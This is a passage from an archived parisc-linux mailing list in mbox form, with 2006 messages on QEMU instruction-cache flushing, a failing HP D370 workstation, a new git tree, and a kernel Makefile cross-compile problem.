NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624594 27618 80.91.229.3 (22 Nov 2014 02:49:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:49:54 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Carlos O'Donell <carlos@systemhalted.org>
Original-X-From: - Wed Jul 02 21:28:20 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 04 Jun 2006 23:19:57 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx075) with SMTP; 05 Jun 2006 01:19:57 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 76A7C7D67C;
	Sun,  4 Jun 2006 17:19:53 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 01205-08; Sun, 4 Jun 2006 17:19:53 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 978837D675;
	Sun,  4 Jun 2006 17:19:52 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 606AC7D670
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  4 Jun 2006 17:19:49 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 01332-04 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 4 Jun 2006 17:19:48 -0600 (MDT)
Original-Received: from palinux.external.hp.com (palinux.external.hp.com
	[192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 7374B7D669
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  4 Jun 2006 17:19:48 -0600 (MDT)
Original-Received: by palinux.external.hp.com (Postfix)
	id 354A649565C; Sun,  4 Jun 2006 17:19:48 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: by palinux.external.hp.com (Postfix, from userid 26919)
	id 1ED47494006; Sun,  4 Jun 2006 17:19:48 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <119aab440606041448t3952e3dfwf85f926ffdc5e441@mail.gmail.com>
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: pViwcNZBX1Vp6uuYY2FyTBh3SDc4NMxK
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25294

On Sun, Jun 04, 2006 at 05:48:17PM -0400, Carlos O'Donell wrote:
> 4. flush_icache_range can probably be copied from the kernel implementation.

Why are we still talking about doing flush_icache_range() in userspace?
Why does qemu not use mprotect() to set either PROT_EXEC or PROT_WRITE
(and never both at the same time)?  The kernel will flush userspace
appopriately (and if it doesn't, that's a bug).
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] QEMU Port (Help needed)
Date: Sun, 4 Jun 2006 19:22:36 -0400
Lines: 21
Approved: news@gmane.org
Message-ID: <119aab440606041622p4a6af3adva78ca119f6617a8b@mail.gmail.com>
References: <20060604160441.GA18082@miranda.arrow>
	<119aab440606041448t3952e3dfwf85f926ffdc5e441@mail.gmail.com>
	<20060604231947.GH27231@parisc-linux.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624595 27619 80.91.229.3 (22 Nov 2014 02:49:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:49:55 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: "Matthew Wilcox" <matthew@wil.cx>
Original-X-From: - Wed Jul 02 21:28:20 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 04 Jun 2006 23:22:45 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx033) with SMTP; 05 Jun 2006 01:22:45 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 426127D684;
	Sun,  4 Jun 2006 17:22:42 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 01612-03; Sun, 4 Jun 2006 17:22:42 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C34737D685;
	Sun,  4 Jun 2006 17:22:40 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 3CDD67D683
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  4 Jun 2006 17:22:38 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 01332-10 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 4 Jun 2006 17:22:37 -0600 (MDT)
Original-Received: from palinux.external.hp.com (palinux.external.hp.com
	[192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 4DD9F7D67B
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  4 Jun 2006 17:22:37 -0600 (MDT)
Original-Received: by palinux.external.hp.com (Postfix)
	id 0204349565C; Sun,  4 Jun 2006 17:22:37 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from wr-out-0506.google.com (wr-out-0506.google.com [64.233.184.232])
	by palinux.external.hp.com (Postfix) with ESMTP id C2A4F494006
	for <parisc-linux@parisc-linux.org>;
	Sun,  4 Jun 2006 17:22:36 -0600 (MDT)
Original-Received: by wr-out-0506.google.com with SMTP id i31so877664wra
	for <parisc-linux@parisc-linux.org>;
	Sun, 04 Jun 2006 16:22:36 -0700 (PDT)
DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com;
	h=received:message-id:date:from:sender:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references:x-google-sender-auth;
	b=i28uwUBPyG1vUrv5bUqH1MWH1gYHsoLzepIURFf2z6SkNanGsA1bj9Xe9sVS2Sz12SbqFz9Wlu3QvtjyuBMizuxOUpsOHB4p6deuzpwxLoBRx4vnvFVh7pumgu2CfUPilN7Zq7nL4IE93GLPwBS2kMDW9YVtaqcif2HmtQ0dYJg=
Original-Received: by 10.54.79.7 with SMTP id c7mr4349836wrb;
	Sun, 04 Jun 2006 16:22:36 -0700 (PDT)
Original-Received: by 10.54.156.11 with HTTP; Sun, 4 Jun 2006 16:22:36 -0700 (PDT)
In-Reply-To: <20060604231947.GH27231@parisc-linux.org>
Content-Disposition: inline
X-Google-Sender-Auth: 9d93a6501c342292
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: IgLmBdN8fW4orOWveGVo/F5mdmllcsUe
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25295

On 6/4/06, Matthew Wilcox <matthew@wil.cx> wrote:
> On Sun, Jun 04, 2006 at 05:48:17PM -0400, Carlos O'Donell wrote:
> > 4. flush_icache_range can probably be copied from the kernel implementation.
>
> Why are we still talking about doing flush_icache_range() in userspace?
> Why does qemu not use mprotect() to set either PROT_EXEC or PROT_WRITE
> (and never both at the same time)?  The kernel will flush userspace
> appopriately (and if it doesn't, that's a bug).
>

Blame QEMU for letting you override the default implementation!
It's always tempting to see if you can do it faster in userspace?

Cheers,
Carlos.
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Corne Beerse <cbeerse@gmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] failing hp d370. boot-rom display messages
Date: Thu, 08 Jun 2006 11:28:30 +0200
Lines: 55
Approved: news@gmane.org
Message-ID: <4487EDBE.9000904@gmail.com>
References: <4476B3C7.3000900@gmail.com> <4476C422.9010200@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624595 27622 80.91.229.3 (22 Nov 2014 02:49:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:49:55 +0000 (UTC)
Cc: maillist parisc-linux <parisc-linux@parisc-linux.org>
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: - Wed Jul 02 21:28:20 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 08 Jun 2006 09:28:47 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx038) with SMTP; 08 Jun 2006 11:28:47 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 5257C7D745;
	Thu,  8 Jun 2006 03:28:41 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 13807-03; Thu, 8 Jun 2006 03:28:41 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 9C27A7D746;
	Thu,  8 Jun 2006 03:28:39 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 01EF27D743
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  8 Jun 2006 03:28:37 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 13445-10 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 8 Jun 2006 03:28:36 -0600 (MDT)
Original-Received: from palinux.external.hp.com (palinux.external.hp.com
	[192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 0E6687D742
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  8 Jun 2006 03:28:36 -0600 (MDT)
Original-Received: by palinux.external.hp.com (Postfix)
	id ABCA049566E; Thu,  8 Jun 2006 03:28:35 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from nf-out-0910.google.com (nf-out-0910.google.com [64.233.182.187])
	by palinux.external.hp.com (Postfix) with ESMTP id 2F09149400A
	for <parisc-linux@parisc-linux.org>;
	Thu,  8 Jun 2006 03:28:34 -0600 (MDT)
Original-Received: by nf-out-0910.google.com with SMTP id k26so302128nfc
	for <parisc-linux@parisc-linux.org>;
	Thu, 08 Jun 2006 02:28:34 -0700 (PDT)
DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com;
	h=received:message-id:date:from:user-agent:x-accept-language:mime-version:to:cc:subject:references:in-reply-to:content-type:content-transfer-encoding;
	b=YOTxXqcY0N3Nep3R6TG8uSLWmZOFFpvFZLBLTKlZtYy9DtPjFZfmeKuJhDhPjuRaNV8Q1iheV9WR4PxEZytyC0G5h8jXMsRy20FsqYVCGScqVSHGUYIHuhv1EdfTPbDBmi/lv9f+6nwuvWIu2hi7oGTF+p2jTrRBj9eG6ky1Sp8=
Original-Received: by 10.49.54.16 with SMTP id g16mr1270150nfk;
	Thu, 08 Jun 2006 02:28:34 -0700 (PDT)
Original-Received: from ?130.78.140.5? ( [193.172.135.148])
	by mx.gmail.com with ESMTP id k23sm1875677nfc.2006.06.08.02.28.30;
	Thu, 08 Jun 2006 02:28:31 -0700 (PDT)
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US;
	rv:1.7.12) Gecko/20050915
X-Accept-Language: en-us, en
In-Reply-To: <4476C422.9010200@tiscali.be>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 5tWycDMGRkkei6uPfGRqr6dmdWkvKNOS
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25296

Joel Soete wrote:

>
>
> Corne Beerse wrote:
>
>> Hello,
>>
>> After a last relocation, my HP D370 fails to boot. In the lcd-display 
>> it cycles trough a number of messages starting with "FLT...". Has 
>> anyone resources on the messages and the cause of the faults? It so 
>> happens that I have some spare parts (partly from a long gone D210) 
>> and I like to know what to replace or fix to get the D370 going once 
>> again.
>>
>> Thanks in advance
>>
>>
>> C.Beerse.
>>
>> btw: this message has been crosposted to both the parisc-linux and 
>> the hpux admin since it is about stuff before the os boots.
>>
> mmm, how are you sure of this?
> Can't you grab more info about console messages and post them too?
> Which os was runing before relocation (and I suppose continue to run)?
>
> Do you have access to the hp diagnostics' cd (iirc it was called 
> Support +) to make some basic hw test?
>
> Hth,
>     Joel
>
Well, the problem with the system is that id does not boot at all: it 
just cycles "flt...." numbers on the lcd, it does not come to the point 
where it spits messages to the console. About the os before the crash, 
I'm not sure anymore, I have disk packs for both linux and hp-ux and 
change them frequently just to test and check stuff. I do know it has 
the latest firmware installed since ages so that should not be the problem.

At this point, the only think I can do is remove all hardware that is 
not needed to boot and see what happens. Then restore items one by one 
and see which one is the faulty one.

 From an other answer, I got the message "flt..." is for 'floating point 
unit' hence I might even need to exchange CPUs...


CBee
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:52 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Shared git tree
Date: Sun, 13 Aug 2006 20:46:22 -0600
Lines: 20
Approved: news@gmane.org
Message-ID: <20060814024622.GA4340@parisc-linux.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624595 27623 80.91.229.3 (22 Nov 2014 02:49:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:49:55 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: - Wed Jul 02 21:28:20 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 14 Aug 2006 02:46:33 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx066) with SMTP; 14 Aug 2006 04:46:33 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C5CE87D6A0;
	Sun, 13 Aug 2006 20:46:29 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 22058-05; Sun, 13 Aug 2006 20:46:29 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id CBB897D6AB;
	Sun, 13 Aug 2006 20:46:28 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id AD60B7D69B
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 13 Aug 2006 20:46:24 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 22058-02 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 13 Aug 2006 20:46:23 -0600 (MDT)
Original-Received: from palinux.external.hp.com (palinux.external.hp.com
	[192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 954D97D697
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 13 Aug 2006 20:46:23 -0600 (MDT)
Original-Received: by palinux.external.hp.com (Postfix)
	id 0E85B4940BA; Sun, 13 Aug 2006 20:46:23 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: by palinux.external.hp.com (Postfix, from userid 26919)
	id EA7E4494010; Sun, 13 Aug 2006 20:46:22 -0600 (MDT)
Content-Disposition: inline
User-Agent: Mutt/1.5.12-2006-07-14
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: bIC3CRh6bHIyX63NNjQ01jUqJihyapCR
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25297


OK, I think we're all set with git.

http://git.parisc-linux.org/?p=linux-2.6.git;a=summary shows what's in
our tree.

See (and send patches for improving ;-)
http://www.parisc-linux.org/faq/git.html

I'll probably pull the other three repositories out of the way soon.

It'd be nice if someone could convert the autobuilder to work on this
instead of CVS.

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:52 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] stack-protect in conflict with CROSS_COMPILE
Date: Mon, 14 Aug 2006 06:07:29 -0600
Lines: 26
Approved: news@gmane.org
Message-ID: <20060814120729.GB4340__30859.7600590021$1416624596$gmane$org@parisc-linux.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624596 27627 80.91.229.3 (22 Nov 2014 02:49:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:49:56 +0000 (UTC)
Cc: linux-kernel@vger.kernel.org,
 parisc-linux@parisc-linux.org
To: Sam Ravnborg <sam@ravnborg.org>
Original-X-From: - Wed Jul 02 21:28:20 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 14 Aug 2006 12:07:39 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx075) with SMTP; 14 Aug 2006 14:07:39 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 4B81E7D6C8;
	Mon, 14 Aug 2006 06:07:36 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 28503-06; Mon, 14 Aug 2006 06:07:36 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 2DE017D6BE;
	Mon, 14 Aug 2006 06:07:35 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id AF03B7D6B1
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 14 Aug 2006 06:07:31 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 28503-02 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 14 Aug 2006 06:07:30 -0600 (MDT)
Original-Received: from palinux.external.hp.com (palinux.external.hp.com
	[192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 754A57D6AB
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 14 Aug 2006 06:07:30 -0600 (MDT)
Original-Received: by palinux.external.hp.com (Postfix)
	id 3FF294940E2; Mon, 14 Aug 2006 06:07:30 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: by palinux.external.hp.com (Postfix, from userid 26919)
	id 2CA9249400F; Mon, 14 Aug 2006 06:07:30 -0600 (MDT)
Content-Disposition: inline
User-Agent: Mutt/1.5.12-2006-07-14
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: ulLSfBYoPjltCOrBOTU27zYzMTE2NYkz
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25298


Hi Sam,

We've stumbled on a problem with -fno-stack-protector and CROSS_COMPILE:

CFLAGS          := -Wall -Wundef -Wstrict-prototypes -Wno-trigraphs \
                   -fno-strict-aliasing -fno-common
# Force gcc to behave correct even for buggy distributions
CFLAGS          += $(call cc-option, -fno-stack-protector)

round about line 310 of Makefile will cause CC to be called before we
get a chance to set CROSS_COMPILE in arch/parisc/Makefile.  For people
who are compiling 64-bit parisc kernels, this means the wrong gcc gets
called, and sometimes the compiler versions are out of sync.

We will have similar problems with:

CFLAGS          += -fno-omit-frame-pointer $(call cc-option,-fno-optimize-sibling-calls,)

Should we include the arch Makefile earlier in the proceedings?
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:52 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Adrian Bunk <bunk@stusta.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [2.6 patch] parisc: "extern inline" -> "static
	inline"
Date: Sat, 19 Aug 2006 19:19:30 +0200
Lines: 212
Approved: news@gmane.org
Message-ID: <20060819171930.GJ7813__48647.9368097664$1416624596$gmane$org@stusta.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
